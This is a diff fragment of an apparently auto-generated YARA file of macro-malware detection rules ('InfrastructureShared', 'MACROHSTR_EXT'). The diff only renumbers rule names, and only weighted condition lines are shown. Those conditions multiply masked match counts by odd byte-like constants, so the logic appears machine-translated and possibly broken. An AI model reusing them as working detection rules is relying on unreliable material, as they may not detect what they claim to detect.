-318204,7 +334738,7 @@ rule _InfrastructureShared_24391{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*25964+(#a_20_2 & 1)*-28632+(#a_2c_3 & 1)*656+(#a_6e_4 & 1)*17920+(#a_00_6 & 1)*-27505) >=7 } -rule _InfrastructureShared_24392{ +rule _InfrastructureShared_25681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -318217,7 +334751,7 @@ rule _InfrastructureShared_24392{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*8736+(#a_74_2 & 1)*26736+(#a_6e_3 & 1)*8304) >=4 } -rule _InfrastructureShared_24393{ +rule _InfrastructureShared_25682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -318232,7 +334766,7 @@ rule _InfrastructureShared_24393{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*24434+(#a_20_2 & 1)*8787+(#a_74_3 & 1)*30063+(#a_22_4 & 1)*8736+(#a_22_5 & 1)*9326) >=6 } -rule _InfrastructureShared_24394{ +rule _InfrastructureShared_25683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 0a 00 21 " @@ -318249,7 +334783,7 @@ rule _InfrastructureShared_24394{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29793+(#a_2e_2 & 1)*29285+(#a_01_3 & 1)*8814+(#a_6f_4 & 1)*8302+(#a_00_6 & 1)*-26481+(#a_41_8 & 1)*8448+(#a_6f_9 & 1)*29793) >=7 } -rule _InfrastructureShared_24395{ +rule _InfrastructureShared_25684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -318261,7 +334795,7 @@ rule _InfrastructureShared_24395{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*1538+(#a_68_2 & 1)*24912) >=1 } -rule _InfrastructureShared_24396{ +rule _InfrastructureShared_25685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 21 00 21 " @@ -318302,7 +334836,7 @@ rule _InfrastructureShared_24396{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*21581+(#a_64_2 & 1)*1792+(#a_61_3 & 1)*22111+(#a_66_4 & 1)*26713+(#a_73_5 & 1)*26737+(#a_73_6 & 1)*11365+(#a_2b_7 & 1)*8194+(#a_69_8 & 1)*29472+(#a_65_9 & 1)*8250+(#a_74_10 & 1)*26473+(#a_53_11 & 1)*8530+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_98_16 & 1)*0+(#a_72_17 & 1)*17184+(#a_20_18 & 1)*656+(#a_61_19 & 1)*27715+(#a_78_20 & 1)*20000+(#a_2e_22 & 1)*12800+(#a_69_23 & 1)*28500+(#a_29_24 & 1)*13352+(#a_22_25 & 1)*656+(#a_20_26 & 1)*28229+(#a_74_27 & 1)*26994+(#a_75_28 & 1)*28484+(#a_75_29 & 1)*8292+(#a_29_30 & 1)*31077+(#a_44_31 & 1)*656+(#a_76_32 & 1)*28484) >=1 } -rule _InfrastructureShared_24397{ +rule _InfrastructureShared_25686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -318314,7 +334848,7 @@ rule _InfrastructureShared_24397{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*11365+(#a_2b_2 & 1)*8194) >=3 } -rule _InfrastructureShared_24398{ +rule _InfrastructureShared_25687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -318328,7 +334862,7 @@ rule _InfrastructureShared_24398{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28524+(#a_31_2 & 1)*12578+(#a_6e_3 & 1)*30060+(#a_22_4 & 1)*8738) >=5 } -rule _InfrastructureShared_24399{ +rule _InfrastructureShared_25688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -318345,7 +334879,7 @@ rule _InfrastructureShared_24399{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_43_2 & 1)*11011+(#a_28_3 & 1)*25445+(#a_02_4 & 1)*10343+(#a_6e_5 & 1)*28751+(#a_90_6 & 1)*18720+(#a_41_7 & 1)*12664) >=8 } -rule _InfrastructureShared_24400{ +rule _InfrastructureShared_25689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -318362,7 +334896,7 @@ rule _InfrastructureShared_24400{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*21294+(#a_33_2 & 1)*8235+(#a_20_3 & 1)*28229+(#a_74_4 & 1)*26994+(#a_75_5 & 1)*28484+(#a_75_6 & 1)*8292+(#a_29_7 & 1)*31077) >=8 } -rule _InfrastructureShared_24401{ +rule _InfrastructureShared_25690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -318378,7 +334912,7 @@ rule _InfrastructureShared_24401{ ((#a_53_0 & 1)*19747+(#a_62_1 & 1)*21280+(#a_90_2 & 1)*30035+(#a_02_3 & 1)*8306+(#a_21_4 & 1)*18254+(#a_5c_5 & 1)*32101+(#a_62_6 & 1)*8253) >=1 } -rule _InfrastructureShared_24402{ +rule _InfrastructureShared_25691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -318393,7 +334927,7 @@ rule _InfrastructureShared_24402{ ((#a_4c_0 & 1)*21539+(#a_22_1 & 1)*29795+(#a_2e_2 & 1)*23585+(#a_62_3 & 1)*8253+(#a_74_4 & 1)*21108+(#a_20_5 & 1)*7936) >=6 } -rule _InfrastructureShared_24403{ +rule _InfrastructureShared_25692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -318409,7 +334943,7 @@ rule _InfrastructureShared_24403{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*28265+(#a_63_3 & 1)*30022+(#a_2e_5 & 1)*6144+(#a_90_6 & 1)*25972+(#a_20_7 & 1)*-28640+(#a_00_9 & 1)*1) >=10 } -rule _InfrastructureShared_24404{ +rule _InfrastructureShared_25693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -318422,7 +334956,7 @@ rule _InfrastructureShared_24404{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28277+(#a_74_2 & 1)*10355+(#a_2e_3 & 1)*10530) >=4 } -rule _InfrastructureShared_24405{ +rule _InfrastructureShared_25694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 07 00 21 " @@ -318438,7 +334972,7 @@ rule _InfrastructureShared_24405{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*8744+(#a_65_2 & 1)*41+(#a_20_3 & 1)*8307+(#a_74_4 & 1)*25970+(#a_20_5 & 1)*13934+(#a_31_6 & 1)*12338) >=6 } -rule _InfrastructureShared_24406{ +rule _InfrastructureShared_25695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -318456,7 +334990,7 @@ rule _InfrastructureShared_24406{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*30022+(#a_74_2 & 1)*8230+(#a_62_3 & 1)*10355+(#a_00_4 & 1)*66+(#a_20_5 & 1)*8195+(#a_67_6 & 1)*8241+(#a_2c_7 & 1)*28192+(#a_2c_8 & 1)*28192) >=9 } -rule _InfrastructureShared_24407{ +rule _InfrastructureShared_25696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -318469,7 +335003,7 @@ rule _InfrastructureShared_24407{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*11314+(#a_3b_2 & 1)*8241+(#a_20_3 & 1)*12910) >=4 } -rule _InfrastructureShared_24408{ +rule _InfrastructureShared_25697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -318491,7 +335025,7 @@ rule _InfrastructureShared_24408{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*24934+(#a_29_2 & 1)*2562+(#a_3a_3 & 1)*29812+(#a_02_4 & 1)*8744+(#a_67_5 & 1)*26676+(#a_68_6 & 1)*8236+(#a_2c_7 & 1)*12921+(#a_29_8 & 1)*656+(#a_28_9 & 1)*26727+(#a_25_10 & 1)*-28567+(#a_6d_11 & 1)*9474+(#a_00_12 & 1)*3216) >=13 } -rule _InfrastructureShared_24409{ +rule _InfrastructureShared_25698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -318504,7 +335038,7 @@ rule _InfrastructureShared_24409{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*27240+(#a_20_2 & 1)*31027+(#a_68_3 & 1)*8236) >=5 } -rule _InfrastructureShared_24410{ +rule _InfrastructureShared_25699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -318520,7 +335054,7 @@ rule _InfrastructureShared_24410{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*26917+(#a_20_2 & 1)*8224+(#a_28_3 & 1)*24918+(#a_73_4 & 1)*21024+(#a_0c_5 & 1)*24352+(#a_4c_6 & 1)*20014) >=7 } -rule _InfrastructureShared_24411{ +rule _InfrastructureShared_25700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 08 00 21 " @@ -318537,7 +335071,7 @@ rule _InfrastructureShared_24411{ ((#a_53_0 & 1)*19747+(#a_5f_1 & 1)*11808+(#a_6c_2 & 1)*17155+(#a_65_3 & 1)*17152+(#a_20_4 & 1)*8194+(#a_41_5 & 1)*24933+(#a_34_6 & 1)*11296+(#a_20_7 & 1)*656) >=1 } -rule _InfrastructureShared_24412{ +rule _InfrastructureShared_25701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -318549,7 +335083,7 @@ rule _InfrastructureShared_24412{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*8236+(#a_79_2 & 1)*27240) >=3 } -rule _InfrastructureShared_24413{ +rule _InfrastructureShared_25702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -318566,7 +335100,7 @@ rule _InfrastructureShared_24413{ ((#a_53_0 & 1)*19747+(#a_3d_1 & 1)*4864+(#a_90_2 & 1)*29801+(#a_01_3 & 1)*9009+(#a_00_4 & 1)*144+(#a_2e_5 & 1)*15619+(#a_75_6 & 1)*8292+(#a_65_7 & 1)*24933) >=8 } -rule _InfrastructureShared_24414{ +rule _InfrastructureShared_25703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -318580,7 +335114,7 @@ rule _InfrastructureShared_24414{ ((#a_53_0 & 1)*19747+(#a_40_1 & 1)*-28640+(#a_70_3 & 1)*28492+(#a_22_4 & 1)*9317+(#a_90_5 & 1)*-32766) >=1 } -rule _InfrastructureShared_24415{ +rule _InfrastructureShared_25704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 05 00 21 " @@ -318594,7 +335128,7 @@ rule _InfrastructureShared_24415{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*27749+(#a_70_2 & 1)*16740+(#a_41_3 & 1)*16709+(#a_51_4 & 1)*16717) >=4 } -rule _InfrastructureShared_24416{ +rule _InfrastructureShared_25705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -318610,7 +335144,7 @@ rule _InfrastructureShared_24416{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*10356+(#a_6c_2 & 1)*18031+(#a_62_3 & 1)*28764+(#a_6c_4 & 1)*25960+(#a_6d_5 & 1)*29268+(#a_63_6 & 1)*17518) >=7 } -rule _InfrastructureShared_24417{ +rule _InfrastructureShared_25706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -318623,7 +335157,7 @@ rule _InfrastructureShared_24417{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8236+(#a_2b_2 & 1)*8736+(#a_2e_3 & 1)*28261) >=4 } -rule _InfrastructureShared_24418{ +rule _InfrastructureShared_25707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -318639,7 +335173,7 @@ rule _InfrastructureShared_24418{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*22067+(#a_6f_2 & 1)*10547+(#a_4e_3 & 1)*9771+(#a_22_4 & 1)*19796+(#a_41_5 & 1)*13864+(#a_54_6 & 1)*18509) >=7 } -rule _InfrastructureShared_24419{ +rule _InfrastructureShared_25708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -318658,7 +335192,7 @@ rule _InfrastructureShared_24419{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_20_2 & 1)*10752+(#a_77_3 & 1)*656+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1) >=10 } -rule _InfrastructureShared_24420{ +rule _InfrastructureShared_25709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -318673,7 +335207,7 @@ rule _InfrastructureShared_24420{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*11040+(#a_50_2 & 1)*-28638+(#a_02_3 & 1)*30496+(#a_20_4 & 1)*20224+(#a_29_5 & 1)*656) >=7 } -rule _InfrastructureShared_24421{ +rule _InfrastructureShared_25710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -318692,7 +335226,7 @@ rule _InfrastructureShared_24421{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*656+(#a_20_2 & 1)*-28553+(#a_90_3 & 1)*28192+(#a_2e_5 & 1)*10752+(#a_64_6 & 1)*26999+(#a_69_7 & 1)*18976+(#a_20_8 & 1)*8302+(#a_6e_9 & 1)*8250+(#a_6e_10 & 1)*14880) >=11 } -rule _InfrastructureShared_24422{ +rule _InfrastructureShared_25711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -318704,7 +335238,7 @@ rule _InfrastructureShared_24422{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*28192+(#a_20_2 & 1)*8302) >=3 } -rule _InfrastructureShared_24423{ +rule _InfrastructureShared_25712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -318722,7 +335256,7 @@ rule _InfrastructureShared_24423{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_20_2 & 1)*10752+(#a_77_3 & 1)*656+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1) >=9 } -rule _InfrastructureShared_24424{ +rule _InfrastructureShared_25713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -318739,7 +335273,7 @@ rule _InfrastructureShared_24424{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_6e_2 & 1)*17923+(#a_2e_3 & 1)*7936+(#a_68_4 & 1)*11877+(#a_90_5 & 1)*11296+(#a_74_6 & 1)*28277+(#a_77_7 & 1)*8241) >=8 } -rule _InfrastructureShared_24425{ +rule _InfrastructureShared_25714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -318753,7 +335287,7 @@ rule _InfrastructureShared_24425{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*11314+(#a_3b_2 & 1)*8241+(#a_20_3 & 1)*12910+(#a_5f_4 & 1)*8241) >=5 } -rule _InfrastructureShared_24426{ +rule _InfrastructureShared_25715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -318767,7 +335301,7 @@ rule _InfrastructureShared_24426{ ((#a_3a_0 & 1)*19521+(#a_74_1 & 1)*24941+(#a_68_2 & 1)*22304+(#a_54_3 & 1)*18538+(#a_20_4 & 1)*19538) >=5 } -rule _InfrastructureShared_24427{ +rule _InfrastructureShared_25716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -318781,7 +335315,7 @@ rule _InfrastructureShared_24427{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8236+(#a_02_2 & 1)*8235+(#a_90_3 & 1)*29801+(#a_52_4 & 1)*29295) >=5 } -rule _InfrastructureShared_24428{ +rule _InfrastructureShared_25717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -318794,7 +335328,7 @@ rule _InfrastructureShared_24428{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*11365+(#a_2b_2 & 1)*8194+(#a_69_3 & 1)*29472) >=4 } -rule _InfrastructureShared_24429{ +rule _InfrastructureShared_25718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -318811,7 +335345,7 @@ rule _InfrastructureShared_24429{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*656+(#a_00_2 & 1)*144+(#a_3d_3 & 1)*10499+(#a_02_4 & 1)*29728+(#a_0c_5 & 1)*25973+(#a_43_6 & 1)*-29184+(#a_20_7 & 1)*-28632) >=8 } -rule _InfrastructureShared_24430{ +rule _InfrastructureShared_25719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -318823,7 +335357,7 @@ rule _InfrastructureShared_24430{ ((#a_53_0 & 1)*19747+(#a_66_1 & 1)*31074+(#a_69_2 & 1)*26231) >=3 } -rule _InfrastructureShared_24431{ +rule _InfrastructureShared_25720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -318842,7 +335376,7 @@ rule _InfrastructureShared_24431{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*8769+(#a_69_2 & 1)*24435+(#a_54_3 & 1)*27769+(#a_72_4 & 1)*25959+(#a_6e_5 & 1)*20993+(#a_62_6 & 1)*29549+(#a_64_7 & 1)*25897+(#a_1b_8 & 1)*11305+(#a_64_9 & 1)*16686) >=10 } -rule _InfrastructureShared_24432{ +rule _InfrastructureShared_25721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -318854,7 +335388,7 @@ rule _InfrastructureShared_24432{ ((#a_53_0 & 1)*19747+(#a_62_1 & 1)*29549+(#a_02_2 & 1)*15723) >=3 } -rule _InfrastructureShared_24433{ +rule _InfrastructureShared_25722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 0a 00 21 " @@ -318872,7 +335406,7 @@ rule _InfrastructureShared_24433{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24910+(#a_6f_2 & 1)*257+(#a_53_4 & 1)*29538+(#a_63_5 & 1)*27234+(#a_20_6 & 1)*12910+(#a_67_7 & 1)*8241+(#a_20_8 & 1)*12910+(#a_33_9 & 1)*8241) >=3 } -rule _InfrastructureShared_24434{ +rule _InfrastructureShared_25723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -318885,7 +335419,7 @@ rule _InfrastructureShared_24434{ ((#a_53_0 & 1)*19747+(#a_6d_1 & 1)*11314+(#a_3b_2 & 1)*8241+(#a_6d_3 & 1)*11314) >=4 } -rule _InfrastructureShared_24435{ +rule _InfrastructureShared_25724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -318898,7 +335432,7 @@ rule _InfrastructureShared_24435{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*28269+(#a_6e_2 & 1)*26999+(#a_77_3 & 1)*25185) >=4 } -rule _InfrastructureShared_24436{ +rule _InfrastructureShared_25725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -318912,7 +335446,7 @@ rule _InfrastructureShared_24436{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*14643+(#a_65_2 & 1)*25902+(#a_22_3 & 1)*30821+(#a_29_4 & 1)*28019) >=5 } -rule _InfrastructureShared_24437{ +rule _InfrastructureShared_25726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -318925,7 +335459,7 @@ rule _InfrastructureShared_24437{ ((#a_53_0 & 1)*19747+(#a_3b_1 & 1)*12653+(#a_20_2 & 1)*28007+(#a_20_3 & 1)*27936) >=4 } -rule _InfrastructureShared_24438{ +rule _InfrastructureShared_25727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -318939,7 +335473,7 @@ rule _InfrastructureShared_24438{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*24386+(#a_65_2 & 1)*24910+(#a_90_3 & 1)*28271+(#a_6f_4 & 1)*19538) >=5 } -rule _InfrastructureShared_24439{ +rule _InfrastructureShared_25728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -318954,7 +335488,7 @@ rule _InfrastructureShared_24439{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25714+(#a_61_2 & 1)*26479+(#a_20_3 & 1)*20565+(#a_56_4 & 1)*17503+(#a_4d_6 & 1)*8448) >=1 } -rule _InfrastructureShared_24440{ +rule _InfrastructureShared_25729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -318966,7 +335500,7 @@ rule _InfrastructureShared_24440{ ((#a_53_0 & 1)*19747+(#a_5d_1 & 1)*23389+(#a_20_2 & 1)*29472) >=3 } -rule _InfrastructureShared_24441{ +rule _InfrastructureShared_25730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -318983,7 +335517,7 @@ rule _InfrastructureShared_24441{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*26917+(#a_29_2 & 1)*770+(#a_4e_3 & 1)*25965+(#a_90_4 & 1)*8224+(#a_02_5 & 1)*10272+(#a_90_6 & 1)*9984+(#a_06_7 & 1)*-28640) >=8 } -rule _InfrastructureShared_24442{ +rule _InfrastructureShared_25731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -319000,7 +335534,7 @@ rule _InfrastructureShared_24442{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*29793+(#a_73_2 & 1)*8308+(#a_46_4 & 1)*15360+(#a_20_5 & 1)*28521+(#a_53_6 & 1)*6400+(#a_90_7 & 1)*1538+(#a_bb_8 & 1)*0) >=9 } -rule _InfrastructureShared_24443{ +rule _InfrastructureShared_25732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -319015,7 +335549,7 @@ rule _InfrastructureShared_24443{ ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*26223+(#a_5c_2 & 1)*11298+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=1 } -rule _InfrastructureShared_24444{ +rule _InfrastructureShared_25733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -319032,7 +335566,7 @@ rule _InfrastructureShared_24444{ ((#a_53_0 & 1)*19747+(#a_10_1 & 1)*-28626+(#a_20_2 & 1)*4098+(#a_43_3 & 1)*9472+(#a_02_4 & 1)*8992+(#a_20_5 & 1)*31077+(#a_6e_6 & 1)*17952+(#a_6e_7 & 1)*26996) >=8 } -rule _InfrastructureShared_24445{ +rule _InfrastructureShared_25734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 0a 00 21 " @@ -319051,7 +335585,7 @@ rule _InfrastructureShared_24445{ ((#a_53_0 & 1)*19747+(#a_54_1 & 1)*14637+(#a_39_2 & 1)*12291+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1) >=1 } -rule _InfrastructureShared_24446{ +rule _InfrastructureShared_25735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -319069,7 +335603,7 @@ rule _InfrastructureShared_24446{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*656+(#a_02_2 & 1)*28530+(#a_28_3 & 1)*25932+(#a_65_4 & 1)*30067+(#a_02_5 & 1)*8236+(#a_02_6 & 1)*8236+(#a_74_7 & 1)*28277+(#a_00_8 & 1)*-15985) >=10 } -rule _InfrastructureShared_24447{ +rule _InfrastructureShared_25736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -319083,7 +335617,7 @@ rule _InfrastructureShared_24447{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*-28563+(#a_2c_2 & 1)*656+(#a_90_3 & 1)*11265+(#a_20_4 & 1)*514) >=5 } -rule _InfrastructureShared_24448{ +rule _InfrastructureShared_25737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -319099,7 +335633,7 @@ rule _InfrastructureShared_24448{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8253+(#a_90_2 & 1)*15648+(#a_12_3 & 1)*-28572+(#a_6f_4 & 1)*29253+(#a_76_5 & 1)*29264+(#a_20_6 & 1)*8307) >=7 } -rule _InfrastructureShared_24449{ +rule _InfrastructureShared_25738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -319112,7 +335646,7 @@ rule _InfrastructureShared_24449{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*28192+(#a_20_2 & 1)*8302+(#a_20_3 & 1)*8307) >=4 } -rule _InfrastructureShared_24450{ +rule _InfrastructureShared_25739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -319125,7 +335659,7 @@ rule _InfrastructureShared_24450{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*15163+(#a_20_2 & 1)*12910+(#a_20_3 & 1)*15136) >=4 } -rule _InfrastructureShared_24451{ +rule _InfrastructureShared_25740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 07 00 21 " @@ -319140,7 +335674,7 @@ rule _InfrastructureShared_24451{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*23655+(#a_2e_2 & 1)*26977+(#a_2d_4 & 1)*11565+(#a_6e_5 & 1)*8237+(#a_4c_6 & 1)*9584) >=2 } -rule _InfrastructureShared_24452{ +rule _InfrastructureShared_25741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -319155,7 +335689,7 @@ rule _InfrastructureShared_24452{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28784+(#a_22_2 & 1)*29795+(#a_22_3 & 1)*413+(#a_23_4 & 1)*8995+(#a_23_5 & 1)*8995) >=6 } -rule _InfrastructureShared_24453{ +rule _InfrastructureShared_25742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -319172,7 +335706,7 @@ rule _InfrastructureShared_24453{ ((#a_53_0 & 1)*19747+(#a_52_1 & 1)*8236+(#a_69_2 & 1)*29295+(#a_20_3 & 1)*30821+(#a_20_4 & 1)*23653+(#a_79_5 & 1)*26994+(#a_6e_6 & 1)*2573+(#a_68_7 & 1)*-27904) >=8 } -rule _InfrastructureShared_24454{ +rule _InfrastructureShared_25743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -319187,7 +335721,7 @@ rule _InfrastructureShared_24454{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*8738+(#a_4c_2 & 